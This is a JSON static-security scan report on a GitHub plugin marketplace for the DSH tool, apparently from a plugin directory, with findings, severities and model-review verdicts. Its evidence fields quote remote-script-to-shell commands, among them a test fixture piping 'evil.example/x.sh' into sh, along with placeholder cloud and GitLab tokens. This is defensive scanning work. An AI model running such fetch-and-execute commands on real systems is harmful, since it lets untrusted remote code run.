{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"bradegithub-dsh-plugins-marketplace","slug":"bradegithub-dsh-plugins-marketplace","rank":52,"url":"https://github.com/bradeGithub/DSH-Plugins-Marketplace","name":"bradeGithub/DSH-Plugins-Marketplace","category":"market","description":{"zh":"面向 GitHub dsh-plugin 话题的插件与技能市场：设置页内逛自动收录的全量索引（CI 每 2 小时刷新），一键安装带类型识别、安装脚本与宿主依赖遮蔽安全检查、环境变量密钥管理，并附 STANDARD.md 识别层规范。","en":"GitHub-topic-driven plugin & skill marketplace: a Settings page that browses the auto-collected registry (the whole dsh-plugin topic plus the skills index, CI-refreshed every 2 hours) with one-click install, type detection, install-script and host-shadow-dependency safety confirmations, env-key management, and the STANDARD.md recognition spec."},"stars":134,"starsCheckedAt":"2026-08-21","repository":{"owner":"bradeGithub","repo":"DSH-Plugins-Marketplace","requestedRef":null,"subpath":""},"npm":null,"downloads":null,"installMode":"github-source","upstreamInstall":"dsh plugin --profile web add github:bradeGithub/DSH-Plugins-Marketplace","tarball":null,"added":"2026-08-16","page":"https://awesome-dsh-plugin.com/p/bradeGithub/DSH-Plugins-Marketplace/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"bradegithub-dsh-plugins-marketplace","slug":"bradegithub-dsh-plugins-marketplace","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:20:32.911Z","scanStatus":"static-complete","verdict":"review","score":77,"commit":"d899aed1c4fcbfbbb5ab2ddf13b3980e10bfd6ec","commitDate":"2026-08-22T07:15:00Z","artifactDigest":"sha256:c7333329d8342ded7b69627174d3e0a4f5cdb1dcf754acd9831af06c8508544d","downloadUrl":"https://github.com/bradeGithub/DSH-Plugins-Marketplace/archive/d899aed1c4fcbfbbb5ab2ddf13b3980e10bfd6ec.tar.gz","installMode":"github-source","installCommand":"dsh plugin --profile web add github:bradeGithub/DSH-Plugins-Marketplace","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"dsh-plugin-marketplace","packageVersion":"1.5.5","bundle":{"patch":"./cordis.patch.yml"},"client":{"platform":"web","inject":["@deepseek-ai/dsh-client-runtime","@deepseek-ai/dsh-client-ui-settings"],"immediately":true},"lifecycleScripts":{},"peerDependencies":[]},"identity":{"status":"found","installMode":"github-source","upstreamNpm":null,"manifestName":"dsh-plugin-marketplace","nameMatch":null,"npm":{"name":"dsh-plugin-marketplace","latestVersion":"0.2.8","publishedAt":"2026-08-21T10:43:01.314Z","createdAt":"2026-08-13T16:21:15.434Z","versionCount":9,"maintainers":1,"repository":"git+https://github.com/Scorp1o117/dsh-plugin-marketplace.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"mismatch","provenance":"none","tarballHost":null,"versionMatch":"differs"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"plugin-marketplace","name":"dsh-plugin-marketplace","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":"web","parseErrors":[]},"capabilities":["agent-control","browser-ui","credentials","environment","filesystem","host-bundle","mcp","network","subprocess","telemetry"],"outboundHosts":[{"host":"api.github.com","count":11},{"host":"cdn.jsdelivr.net","count":2},{"host":"registry.npmmirror.com","count":2},{"host":"evil.com","count":2}],"findings":[{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"high","confidence":"high","layer":"static","path":"install.sh","pathClass":"script","line":6,"evidence":"curl -sL https://raw.githubusercontent.com/bradeGithub/DSH-Plugins-Marketplace/main/install.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","hash":"8a0d09877f4cc809769b13f5","review":{"verdict":"functional","reason":"该行为README/注释中展示的推荐一键安装命令，是插件'一键安装'能力的入口，脚本内部还优先尝试官方 dsh CLI 安装，非隐蔽执行。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:18:46.972Z"}},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"install.sh","pathClass":"script","line":31,"evidence":"curl|bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","hash":"8b99b76e5a2724797a227e9c","review":{"verdict":"placeholder","reason":"install.sh:31 只是注释文字'curl|bash 模式 = 无路径'，用于说明下载分支逻辑，并非实际的 curl|bash 执行代码。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:18:46.972Z"}},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"lib/index.js","pathClass":"source","line":1,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"e702c60f29d582b2ad908346"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"lib/index.js","pathClass":"source","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"89dedaa9e6429e9e52b8af60"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/coverage.mjs","pathClass":"source","line":9,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"2b78534519909daefaad8e6d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/coverage.mjs","pathClass":"source","line":9,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"61f13e712bc11f9eb661e84a"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/hooks/check.mjs","pathClass":"source","line":14,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"19a7c38810a4d67654ff6759"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/hooks/check.mjs","pathClass":"source","line":14,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"d515d8790673cfc41e7512c2"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/mutation-test.mjs","pathClass":"source","line":30,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"dc62b2e4d3ad1b7eae2ae5cc"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/mutation-test.mjs","pathClass":"source","line":30,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"9234dda00ae8c998bc346b42"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/e2e/install.e2e.mjs","pathClass":"test-example-docs","line":12,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"dd164d937de114d69770cfda"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/e2e/install.e2e.mjs","pathClass":"test-example-docs","line":12,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"7d6ad11ae64e9df6bbda2ef1"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/e2e/install.e2e.mjs","pathClass":"test-example-docs","line":833,"evidence":"curl | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录","hash":"05f5cc4308cd4e9cd40fb242"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/e2e/install.e2e.mjs","pathClass":"test-example-docs","line":837,"evidence":"curl -s https://evil.example/x.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录","hash":"6a83002bac593b83d2ef4bde"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/e2e/workspace-trap.e2e.mjs","pathClass":"test-example-docs","line":16,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"b057c207a6ac6104d4c7e5e7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/e2e/workspace-trap.e2e.mjs","pathClass":"test-example-docs","line":16,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"f44bb90115517c666ccfa5b7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/integration/install-scripts.test.mjs","pathClass":"test-example-docs","line":13,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"18dd8df8bc384d857cfac2ef"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/integration/install-scripts.test.mjs","pathClass":"test-example-docs","line":13,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"ca998f5cb2956ab2dd4c234c"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/integration/installed-load.test.mjs","pathClass":"test-example-docs","line":10,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"471edf144ffed93d9197bc0e"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/integration/installed-load.test.mjs","pathClass":"test-example-docs","line":10,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"cb7648a7912a0ea06c5c84c5"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/integration/lib.test.mjs","pathClass":"test-example-docs","line":813,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"2e0d4186d884fecfafddaff5"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/integration/lib.test.mjs","pathClass":"test-example-docs","line":1355,"evidence":"curl -s https://evil.example/x.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"b5f252397ea7442c4d76e5b8"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/integration/lib.test.mjs","pathClass":"test-example-docs","line":1362,"evidence":"curl -s https://evil.example/x.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"b5f252397ea7442c4d76e5b8"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/integration/lib.test.mjs","pathClass":"test-example-docs","line":262,"evidence":"AKIAIOSFODNN7EXAMPLE","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"de173ee04ae45d620ebb7c7d"},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"scripts/tests/integration/lib.test.mjs","pathClass":"test-example-docs","line":77,"evidence":"Buffer.from(typeof payload === \"string\" ? payload : JSON.stringify(payload)), }; }; return { orig, bodies }; } (async () => { const lib = await import(","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行；位于测试、示例或文档目录","hash":"3e48d48b6926b5db92cc67cb"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/manual/real-install-verify.mjs","pathClass":"test-example-docs","line":14,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"e5522d664b6d47b37ee1c96f"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/manual/real-install-verify.mjs","pathClass":"test-example-docs","line":14,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"15124ac916df975740c66533"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/run.mjs","pathClass":"test-example-docs","line":10,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"fb717ab43ac2c8f7c77c3be9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/run.mjs","pathClass":"test-example-docs","line":10,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"1893861051b8326665534233"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/unit/redact.test.mjs","pathClass":"test-example-docs","line":38,"evidence":"glpat-AbCdEfGhIjKlMnOpQrSt","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"f422315902530668ba5bf7b8"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"scripts/tests/unit/redact.test.mjs","pathClass":"test-example-docs","line":38,"evidence":"glpat-AbCdEfGhIjKlMnOpQrSt","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"f422315902530668ba5bf7b8"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/unit/security-guards.test.mjs","pathClass":"test-example-docs","line":76,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"8b96e5edbd1c860be59db8f0"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"scripts/tests/unit/security-guards.test.mjs","pathClass":"test-example-docs","line":80,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"8b96e5edbd1c860be59db8f0"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/verify-installability.mjs","pathClass":"source","line":17,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"dcaef3ed2c904d622231dca0"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/verify-installability.mjs","pathClass":"source","line":17,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"eb7df2bb464f354a00150725"},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"high","confidence":"low","layer":"static","path":"lib/index.js","pathClass":"source","line":123,"evidence":"credential access at line 123 + outbound network at line 331","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"8a53e8dfd72112e1779b13ca","review":{"verdict":"sanitized","reason":"buildMinimalEnv 仅从 SCRIPT_ENV_KEYS 白名单（PATH/HOME 等非敏感系统变量）读取 process.env，且与之配套的 buildFilteredEnv 用 isSensitiveEnvKey 主动剔除 TOKEN/KEY/SECRET 等敏感变量，未接触真实凭据。","model":"sonnet","reviewedAt":"2026-08-22T08:20:32.911Z"}},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"scripts/build-registry.mjs","pathClass":"source","line":52,"evidence":"credential access at line 52 + outbound network at line 109","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"fc1179ef65b4acfb5d93e425","review":{"verdict":"functional","reason":"TOKEN 取自 GITHUB_TOKEN/GH_TOKEN，仅用于向 GitHub Search/Contents API 发起认证请求以构建插件索引，符合'CI每2小时刷新全量索引'的声明用途。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:18:46.972Z"}},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"scripts/verify-installability.mjs","pathClass":"source","line":32,"evidence":"credential access at line 32 + outbound network at line 41","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"2d5a55e09385bf4caef597e0","review":{"verdict":"functional","reason":"verify-installability.mjs 是构建期探测脚本，tokenOf() 读取 GITHUB_TOKEN/GH_TOKEN 仅用于向 GitHub 官方 API（fetch 调用）鉴权探测仓库结构，凭据流向与其归属服务一致。","model":"sonnet","reviewedAt":"2026-08-22T08:20:32.911Z"}},{"id":"HT-IDENTITY-001","title":"npm 上存在同名包但指向其他仓库","severity":"low","confidence":"medium","path":"package.json","pathClass":"manifest","line":1,"evidence":"npm repository=git+https://github.com/Scorp1o117/dsh-plugin-marketplace.git ≠ bradegithub/dsh-plugins-marketplace","remediation":"npm 上存在同名包但指向其它仓库；从源码安装时请使用 github: 引用并锁定 commit。","layer":"identity","hash":"dc16c2e87a817302c50bb571"}],"counts":{"critical":0,"high":1,"medium":2,"low":11},"rawCounts":{"critical":8,"high":3,"medium":2,"low":26},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-missing","vulnerabilities":"lockfile-missing","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":92,"bytesScanned":2371646,"truncated":false,"lockfiles":[],"pathClasses":{"test-example-docs":49,"markdown":15,"data":4,"cordis":1,"script":4,"source":18,"manifest":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:20:32.911Z","summary":"该插件为 DSH 插件市场，声明功能为浏览/安装带 dsh-plugin 话题的第三方插件并做安全检查。两条命中均为静态规则的误报式高风险标记：lib/index.js 中的 env 读取实为主动过滤敏感变量的安全机制（sanitized）；scripts 目录下的探测脚本使用 GITHUB_TOKEN 仅是构建期向 GitHub 官方 API 鉴权，属于正常功能用途（functional），非运行时插件对用户凭据的滥用。整体代码行为与声明意图一致，需用户注意的是 cordis.patch.yml 将插件注入 webServer，但该补丁本身未涉及凭据或网络异常外泄。","intentMatch":"consistent","findingsReviewed":5,"findingsCandidates":5,"fromCache":3,"usage":{"inputTokens":2,"outputTokens":1596,"costUsd":0.037714,"durationMs":19827}}},"timeline":[{"scannedAt":"2026-08-22T08:20:32.911Z","commit":"d899aed1c4fcbfbbb5ab2ddf13b3980e10bfd6ec","policyVersion":"HT-DSH-0.2.2","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T11:18:46.972Z","commit":"d0cc2c1bdc4b350d2e34a2066404e281169045f6","policyVersion":"HT-DSH-0.2.1","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T10:46:50.597Z","commit":"679b2e074fb43d3be32557be740e090463f1e607","policyVersion":"HT-DSH-0.2.0","verdict":"review","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"d899aed1c4fcbfbbb5ab2ddf13b3980e10bfd6ec","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:20:32.911Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"d0cc2c1bdc4b350d2e34a2066404e281169045f6","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:18:46.972Z"},{"kind":"first-scan","from":null,"to":"review","commit":"679b2e074fb43d3be32557be740e090463f1e607","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:46:50.597Z"}]}